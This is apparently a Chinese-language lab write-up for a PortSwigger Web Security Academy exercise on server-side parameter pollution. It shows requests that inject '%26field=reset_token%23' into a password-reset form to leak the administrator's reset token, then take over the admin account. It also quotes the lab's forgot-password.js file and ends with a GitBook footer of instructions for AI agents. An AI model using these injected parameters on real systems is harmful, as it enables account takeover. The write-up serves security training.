> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/api-testing/server-side-parameter-pollution-in-the-query-string.md).

# 查询字符串中的服务器端参数污染

面向 PortSwigger Web Security Academy 实验室的查询字符串中的服务器端参数污染笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。

### 在查询字符串中利用服务器端参数污染

**实验目标**/ 以管理员身份登录，然后删除用户 **carlos**.

#### “忘记密码”功能

可使用密码重置功能。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09d1297e8a5927bd37c87cc32ccc220fbba3f3f1%2F%7B9B732EA6-DD9F-4789-BCAF-FCEC70EE0235%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

发送到服务器的请求如下：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator
```

服务器响应为：

```json
{
    "type":"email",
    "result":"*****@normal-user.net"
}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7f16654f39fded6b8b2760e1d4e43aedb5b59a2%2F%7BA54A7CCD-2894-4089-AE15-958835C18396%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 尝试污染参数

尝试通过以下方式添加一个新参数： `&`:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&test=test
```

或者编码后：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26test=test
```

服务器返回：

```json
{
    "error": "不支持该参数。"
}
```

#### 使用 `#` 字符

通过 `#`，行为会发生变化：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator#test=test
```

或者编码后：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%23test=test
```

服务器响应：

```json
{
    "error": "未指定字段。"
}
```

这表明存在一个 **字段** 预期在服务器端存在的参数。

#### 发现 `字段` 参数

发送以下请求：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=test
```

然后我们结合 `字段` 替换为 `#` 来注入额外的值：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=x#
```

或者编码后：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=x%23
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-04e6d5a17067baa0cc5af223030e898c457be55b%2F%7BAFCCC233-C3E2-4A82-AD56-82807CA60D76%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

通过测试不同的 **服务器端变量名**，你会得到一个有效的答案，代码为 **200**，从而揭示字段 **email** 和 **用户名**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4cf136de48e4d075b4eee1fcc3233addca9a9c7%2F%7B36C55901-E1A3-4812-8033-3D1F36570C6A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### JavaScript 文件 forgot-password.js 分析

一个可访问的 JavaScript 文件揭示了以下逻辑：

* 表单数据被手动编码。
* 查询通过 `fetch` 以 POST 方式发送。
* 如果响应包含 `result` 属性，则会显示消息“请检查你的邮箱”。
* 一个 **reset-token** 参数从查询字符串中恢复：

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "无效的用户名";
                }
                else
                {
                    forgotPasswordError.textContent = `请检查你的邮箱："${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "无效的用户名";
            });
    } catch (error) {
        console.error("Unexpected Error:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

这证实了存在一个可用的 **reset/ token** 参数利用。

#### 操作 `reset_token` 参数

然后通过服务器污染注入此参数：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=reset_token%23
```

服务器返回：

```json
{
    "type":"reset_token","result":"62ptz5mdgs48omh0u3uf3z7b7w9kiybt"
}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed9d909937711737de1742f1709efaf79c3a6057%2F%7B2143BA52-D807-4754-A6C9-5D412B0E791D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 重置管理员密码

使用获取到的令牌，你可以访问以下 URL：

```bash
/forgot-password?reset_token=62ptz5mdgs48omh0u3uf3z7b7w9kiybt
```

这使你能够重置管理员的密码，使用该账户登录，然后删除用户 **carlos**，从而验证该实验。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-85199f4263ae7d0df730528e07b359568cd1357b%2F%7BA489DFA8-7409-4871-B5B3-58243240F22D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/api-testing/server-side-parameter-pollution-in-the-query-string.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
